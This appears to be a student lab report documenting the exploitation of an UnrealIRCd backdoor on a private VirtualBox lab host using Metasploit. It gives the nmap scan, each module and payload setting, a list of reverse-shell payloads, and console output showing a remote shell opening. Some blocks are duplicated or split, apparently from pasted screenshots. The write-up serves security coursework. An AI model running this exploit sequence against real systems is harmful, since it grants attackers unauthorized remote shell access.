10	payload/cmd/unix/reverse_ruby	.	normal	No	Unix Command Shell, Reverse TCP (via Ruby)
11	payload/cmd/unix/reverse_ruby_ssl	.	normal	No	Unix Command Shell, Reverse TCP SSL (via Ruby)
12	payload/cmd/unix/reverse_ssl_double_telnet	.	normal	No	Unix Command Shell, Double Reverse TCP SSL (telnet)

```

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

```

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	10.0.2.15	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	6697	yes	The target port (TCP)

Payload options (cmd/unix/reverse):

Name	Current Setting	Required	Description
LHOST	10.0.2.4	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic Target

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP double handler on 10.0.2.4:4444
[*] 10.0.2.15:6697 - Connected to 10.0.2.15:6697...
      :irc.TestIRC.net NOTICE AUTH :*** Looking up your hostname...
      :irc.TestIRC.net NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 10.0.2.15:6697 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo V8k8lMB8CBsEd2MQ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "V8k8lMB8CBsEd2MQ\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.0.2.4:4444 → 10.0.2.15:33646) at 2025-07-01 01:30:57 -0400
```

```
whoami
uname -a
id
boba_fett
Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
uid=1121(boba_fett) gid=100(users) groups=100(users),999(docker)
```

```
whoami
uname -a
id
boba_fett
Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
uid=1121(boba_fett) gid=100(users) groups=100(users),999(docker)
^C
Abort session? [y/N] y
```

```
[*] 10.0.2.15 - Command shell session 1 closed. Reason: User exit
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exit
```

```
(kali@kali)-[~]
$ echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"
Step completed by kali, name: Jaideep Singh, on Tue Jul 1 01:32:24 AM EDT 2025
(kali@kali)-[~]
$
```

Target 3 : A reverse shell session was opened. The backdoor command executed. Metasploit successfully connected to the target's IRC service.

1. Target Version Identified: `nmap -sV -p 5000-7000 10.0.2.15`
 - **Service:** IRC
 - **Port:** 6697
 - **Version:** UnrealIRCd
2. Started Metasploit: `msfconsole`
3. Loaded the Exploit Module: `use exploit/unix/irc/unreal_ircd_3281_backdoor`
4. Set the Reverse Shell Payload: `set payload cmd/unix/reverse`
5. Configured Exploit Parameters:
 - a. Target IP (RHOST): 10.0.2.15: `set RHOST 10.0.2.15`
 - b. Target Port (RPORT): 6697 : `set RPORT 6697`
 - c. Kali's IP (LHOST): 10.0.2.4 : `set LHOST 10.0.2.4`
6. Verified Parameters: `show payloads`
`show options`
7. Ran the Exploit: `exploit`

Result:

- Metasploit successfully connected to the target's IRC service.
- The backdoor command executed.
- A reverse shell session was opened: Command shell session 1 opened (10.0.2.4:4444 → 10.0.2.15:33689)
- Verified shell access using: `whoami`
 - Output: `boba_fett`
- Checked system version: `uname -a`
 - Output: `Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 GNU/Linux`

Issues Faced: None encountered during this round. Payload selection and execution worked smoothly based on previous experience with Target B.

Overall: In this third exploitation task, I chose to target the IRC service running UnrealIRCd on port 6697. I first scanned the appropriate port range using Nmap and confirmed that UnrealIRCd was active. Using Metasploit, I loaded the corresponding backdoor exploit (`unreal_ircd_3281_backdoor`) and selected the reverse shell payload (`cmd/unix/reverse`). After configuring all the required options including the target IP, port, and my Kali IP, I successfully executed the exploit. A shell session was opened immediately, and I confirmed access using the `whoami` command, which returned `boba_fett`. I also retrieved

system details using `uname -a`. No technical issues occurred, and the exploitation process followed the same logic and fixes previously applied in Target B. The objective—remote shell access—was successfully achieved.

```
(kali㉿kali)-[~]  
$ nmap -sV -p 5000-7000 10.0.2.15  
  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-01 19:18 EDT  
Nmap scan report for uit-sms-3DI9SPL.yorku.yorku.ca (10.0.2.15)  
Host is up (0.00048s latency).  
Not shown: 2000 filtered tcp ports (no-response)  
PORT      STATE SERVICE VERSION  
6697/tcp  open  irc      UnrealIRCd  
MAC Address: 08:00:27:CB:4D:3D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)  
Service Info: Host: irc.TestIRC.net  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 39.99 seconds  
  
(kali㉿kali)-[~]  
$ echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"  
  
Step completed by kali, name: Jaideep Singh, on Tue Jul  1 07:20:10 PM EDT 2025  
  
(kali㉿kali)-[~]  
$
```

```
(kali㉿kali)-[~]  
$ msfconsole
```

Metasploit tip: View missing module options with show missing

Metasploit Park, System Security Interface
Version 4.0.5, Alpha E
Ready ...

> **access security**

access: PERMISSION DENIED.

> **access security grid**

access: PERMISSION DENIED.

> **access main security grid**

access: PERMISSION DENIED...and ...

YOU DIDN'T SAY THE MAGIC WORD!

YOU DIDN'T SAY THE MAGIC WORD!

YOU DIDN'T SAY THE MAGIC WORD!

YOU DIDN'T SAY THE MAGIC WORD!

YOU DIDN'T SAY THE MAGIC WORD!

YOU DIDN'T SAY THE MAGIC WORD!

YOU DIDN'T SAY THE MAGIC WORD!

YOU DIDN'T SAY THE MAGIC WORD!

```
      =[ metasploit v6.4.64-dev ]  
+ -- --[ 2519 exploits - 1296 auxiliary - 431 post ]  
+ -- --[ 1610 payloads - 49 encoders - 13 nops ]  
+ -- --[ 9 evasion ]
```

Metasploit Documentation: <https://docs.metasploit.com/>

msf6 > echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"

[*] exec: echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"

Step completed by kali, name: Jaideep Singh, on Tue Jul 1 07:57:01 PM EDT 2025

msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse

payload => cmd/unix/reverse

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads

#	Name	Disclosure Date	Rank	Check	Description
-					
0	payload/cmd/unix/adduser	.	normal	No	Add user with useradd
1	payload/cmd/unix/bind_perl	.	normal	No	Unix Command Shell, Bind TCP (via P
erl)					
2	payload/cmd/unix/bind_perl_ipv6	.	normal	No	Unix Command Shell, Bind TCP (via p
erl) IPv6					
3	payload/cmd/unix/bind_ruby	.	normal	No	Unix Command Shell, Bind TCP (via R
uby)					

0	payload/cmd/unix/adduser	.	normal	No	Add user with useradd
1	payload/cmd/unix/bind_perl	.	normal	No	Unix Command Shell, Bind TCP (via Perl)
2	payload/cmd/unix/bind_perl_ipv6	.	normal	No	Unix Command Shell, Bind TCP (via Perl) IPv6
3	payload/cmd/unix/bind_ruby	.	normal	No	Unix Command Shell, Bind TCP (via Ruby)
4	payload/cmd/unix/bind_ruby_ipv6	.	normal	No	Unix Command Shell, Bind TCP (via Ruby) IPv6
5	payload/cmd/unix/generic	.	normal	No	Unix Command, Generic Command Execution
6	payload/cmd/unix/reverse	.	normal	No	Unix Command Shell, Double Reverse TCP (telnet)
7	payload/cmd/unix/reverse_bash_telnet_ssl	.	normal	No	Unix Command Shell, Reverse TCP SSL (telnet)
8	payload/cmd/unix/reverse_perl	.	normal	No	Unix Command Shell, Reverse TCP (via Perl)
9	payload/cmd/unix/reverse_perl_ssl	.	normal	No	Unix Command Shell, Reverse TCP SSL (via perl)
10	payload/cmd/unix/reverse_ruby	.	normal	No	Unix Command Shell, Reverse TCP (via Ruby)
11	payload/cmd/unix/reverse_ruby_ssl	.	normal	No	Unix Command Shell, Reverse TCP SSL (via Ruby)
12	payload/cmd/unix/reverse_ssl_double_telnet	.	normal	No	Unix Command Shell, Double Reverse TCP SSL (telnet)

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"
[*] exec: echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"
```

```
Step completed by kali, name: Jaideep Singh, on Tue Jul 1 07:59:38 PM EDT 2025
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 10.0.2.15
RHOST => 10.0.2.15
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RPORT 6697
RPORT => 6697
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 10.0.2.4
LHOST => 10.0.2.4
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"
[*] exec: echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"
```

```
Step completed by kali, name: Jaideep Singh, on Tue Jul 1 08:01:22 PM EDT 2025
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
```

```
[*] Started reverse TCP double handler on 10.0.2.4:4444
```

```
[*] 10.0.2.15:6697 - Connected to 10.0.2.15:6697 ...
:irc.TestIRC.net NOTICE AUTH :*** Looking up your hostname ...
:irc.TestIRC.net NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
```

```
[*] 10.0.2.15:6697 - Sending backdoor command ...
```

```
[*] Accepted the first client connection ...
```

```
[*] Accepted the second client connection ...
```

```
[*] Command: echo piyfrGX955r2d8ub;
```

```
[*] Writing to socket A
```

```
[*] Writing to socket B
```

```
[*] Reading from sockets ...
```

```
[*] Reading from socket A
```

```
[*] A: "piyfrGX955r2d8ub\r\n"
```

```
[*] Matching ...
```

```
[*] Matching ...
```

```
[*] B is input ...
```

```
[*] Command shell session 1 opened (10.0.2.4:4444 → 10.0.2.15:33689) at 2025-07-01 20:01:39 -0400
```

```
whoami
```

```
uname -a
```

```
boba_fett
```

```
Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
```

```
^C
```

```
Abort session 1? [y/N] y
```

```
[*] 10.0.2.15 - Command shell session 1 closed. Reason: User exit
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"
```

```
[*] exec: echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"
```

```
Step completed by kali, name: Jaideep Singh, on Tue Jul 1 08:03:01 PM EDT 2025
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exit
```

```
(kali@kali)-[~]
```

```
$ echo "Step completed by `whoami`, name: Jaideep Singh, on `date`"
```

```
Step completed by kali, name: Jaideep Singh, on Tue Jul 1 08:04:01 PM EDT 2025
```

```
(kali@kali)-[~]
```

```
$
```